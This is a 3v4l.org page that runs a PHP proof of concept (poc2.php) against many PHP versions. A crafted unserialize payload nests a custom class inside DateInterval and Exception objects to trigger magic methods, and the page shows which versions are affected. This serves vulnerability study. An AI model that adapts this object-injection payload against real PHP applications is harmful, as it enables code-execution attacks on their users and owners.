3v4l.org

run code in 300+ PHP versions simultaneously
<?php /*$ php poc2.php surprise 1 surprise 1 surprise 1 surprise 2 */ class Pwn { function __call($x,$y) { die("surprise $x\n"); } function __get($x) { echo "surprise $x\n"; } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:3:"Pwn":0:{}}}'); ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
Fatal error: Uncaught TypeError: Cannot assign Pwn to property Exception::$previous of type ?Throwable in /in/bRQCK:23 Stack trace: #0 /in/bRQCK(23): unserialize('O:12:"DateInter...') #1 {main} thrown in /in/bRQCK on line 23
Process exited with code 255.
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33
Output for 5.4.17 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
surprise message surprise file surprise line surprise gettraceasstring
Output for 5.4.0 - 5.4.16
Notice: Object of class Exception could not be converted to int in /in/bRQCK on line 23

preferences:
222.1 ms | 401 KiB | 245 Q